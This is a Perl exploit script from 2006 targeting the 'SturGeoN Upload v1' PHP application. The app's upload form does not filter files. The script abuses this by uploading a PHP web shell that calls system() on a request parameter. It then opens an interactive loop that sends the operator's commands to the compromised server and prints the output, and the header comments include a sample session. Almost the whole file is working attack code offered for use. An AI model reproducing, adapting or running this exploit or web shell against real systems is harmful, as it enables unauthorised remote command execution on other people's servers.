sturgeon.txt

`#!/usr/bin/perl  
#  
# VulnScr: SturGeoN Upload v1  
# Author: Jihad BENABRA  
# Download: http://rapidshare.de/files/24622338/2012_sturgeon-1.rar.html  
# WTF?: http://www.comscripts.com/scripts/php.sturgeon-upload.2012.html  
#  
# Date: Sat July 1 10:04 2006  
# Credits: Vuln and Xpl by DarkFig ([email protected])  
# Advisorie: No, too short..  
# Problem: Do not filter the uploaded files  
# Exploit: Upload a php file (<? $cmd=stripslashes($cmd); system($cmd); ?>), give a shell.  
# URL: http://acidr00t.free.fr/poc/sturgeonupv1.txt  
#  
# +--------------------------------------------------+  
# | SturGeoN Upload Remote Command Execution Exploit |  
# +--------------------------------------------------+  
# [localhost]uname -a  
# Linux ws6 2.6.16-SE-k8 #6 SMP PREEMPT Thu May 11 18:19:55 UTC 2006 i686 GNU/Linux  
#  
# [localhost]exit  
# +--------------------------------------------------+  
#  
use IO::Socket;  
use LWP::Simple;  
  
header();  
if(!$ARGV[2]){  
print "| Usage: <host> <path> <filename> -----------------|\n";  
print "+--------------------------------------------------+\n";  
exit;  
}  
  
my($host,$path,$file);  
$host = $ARGV[0];  
$path = $ARGV[1];  
$file = $ARGV[2];  
  
my $sock = IO::Socket::INET->new(  
PeerAddr => $host,  
PeerPort => 80,  
Proto => "tcp",  
) or print "[-]Can't connect to the host\n" and the_end();  
  
print "[+]Connected to the host\n";  
print $sock "POST http://".$host.$path.$file." HTTP/1.1\r\n";  
print $sock "Host: $host\r\n";  
print $sock "Content-Type: multipart/form-data; boundary=---------------------------4827543632391\r\n";  
print $sock "Content-Length: 274\r\n\n";  
print $sock "-----------------------------4827543632391\r\n";  
print $sock "Content-Disposition: form-data; name=\"UpdFILE\"; filename=\"a485f48d65772f784ffec2ce690d0dd5.tmp.php\"\r\n";  
print $sock "Content-Type: application/x-php\r\n\n";  
print $sock "<?\r\n\$cmd=stripslashes(\$cmd);\r\nsystem(\$cmd);\r\n?>\r\n";  
print $sock "-----------------------------4827543632391--\r\n\n";  
close($sock);  
print "[+]File must be uploaded\n";  
  
while(1 ne 2) {  
print "[$host]";  
chomp($cmd = <STDIN>);  
if($cmd eq 'exit') { &the_end; }  
$req = get('http://'.$host.$path.'load/a485f48d65772f784ffec2ce690d0dd5.tmp.php?cmd='.$cmd) or print "[-]Exploit failed\n";  
print $req."\n";  
}  
  
sub header {  
print "\n+--------------------------------------------------+\n";  
print "| SturGeoN Upload Remote Command Execution Exploit |\n";  
print "+--------------------------------------------------+\n";  
}  
  
sub the_end {  
print "+--------------------------------------------------+\n";  
exit;  
}  
`